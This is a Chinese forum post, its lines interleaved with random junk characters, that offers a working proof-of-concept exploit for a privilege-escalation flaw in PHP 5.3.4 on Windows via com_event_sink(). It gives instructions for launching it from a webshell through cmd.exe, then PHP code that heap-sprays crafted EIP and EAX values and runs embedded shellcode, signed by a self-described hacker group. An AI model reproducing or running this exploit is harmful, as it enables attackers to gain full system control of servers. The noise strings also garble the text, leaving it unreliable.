|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中. }" N$ [( b7 Q% T
8 H$ y. l5 y* T6 @4 R# D, { v; N
测试方法如下:cmd /c x:\php\php.exe x:\test.php1 m6 K( D, Q, w2 q. m9 B* V
. _0 P* b7 n" X% O6 ?' l下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php% Y0 Z2 M3 Q" d# S) s. a
这里是两个测试的截图:
) r% p2 A* s; l7 p& H/ c2 O; ^' @) y; X( o: Q; b
1 ]1 f' R' o' ~. E# d6 ^+ M7 g3 E( T" N# S d
, r# E4 y# i! o
% c: l: }" p) S) W; i" m+ a+ i+ X
成功利用此漏洞的攻击者将获得系统的最高权限
9 U# o/ P4 D6 N/ {* p& k! B# ?
# C( _9 ~5 r% ]" K4 ^& b y
- R" X, t$ f% B8 x/ V: s( X0 H% F) Z
# k. s0 u1 O* x2 q
( Y( z) y/ E8 T$ A' D- d2 p5 R
关于漏洞分析稍后附上。一下是PoC代码:
( J# G6 c% l1 y1 H# m r) \. |
* C, j! l. {, t) j4 Y1 ]<?php
7 b& |+ h* l- `- K6 I//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
/ Y+ T, | j3 k( F$ \9 w//$eip ="\x44\x43\x42\x41";: {5 ~. m- p+ K D6 Y* y
$eip= "\x4b\xe8\x57\x78";
/ Y' k, T$ {$ P$eax ="\x80\x01\x8d\x04";$ x, M4 v/ M" g y
$deodrant="";: g$ V0 Z- X' f' X- p" i! w' K
$axespray = str_repeat($eip.$eax,0x80);
4 L& ?, I5 N2 I6 s//048d0190- r8 s7 D0 l, ?
echo strlen($axespray);
9 m8 U" |4 Y- n, |8 `echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
% h1 {5 P- h5 a2 c% aecho "Silic Group Hacker Army - BlackBap.Org";& Y$ B$ K, m. D# w
//19200 ==4B32 4b00
9 w; e T' {( G! e- S- `' l1 zfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}/ H [9 I6 ~" o& h5 A: r+ p
$terminate = "T";2 v4 ]' G1 V8 W8 m T
$u[] =$deodrant;
9 @. F) N2 F5 ^. r" I$r[] =$deodrant.$terminate;
. @$ K$ {* ]5 o3 j$ T$a[] =$deodrant.$terminate;
* k: P+ W" U+ O' |$s[] =$deodrant.$terminate;7 w; l; z6 P9 {: x. V
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的2 [4 |5 _# o) U- T
$vVar = new VARIANT(0x048d0000+180);
4 _9 y& y0 i; t) f' I9 S4 c//弹窗代码(Shellcode)
$ c8 e4 \0 n% D [2 X" q' v$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
( d2 ^) ]( w5 ?! ?, Q4 w: Y+ @9 P# ~$var2 = new VARIANT(0x41414242);. z5 O; D' J) Y% x, k4 l5 v
com_event_sink($vVar,$var2,$buffer);! q, S6 U Y( k! W8 z6 R1 [
?>5 _4 X( V# i# P
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|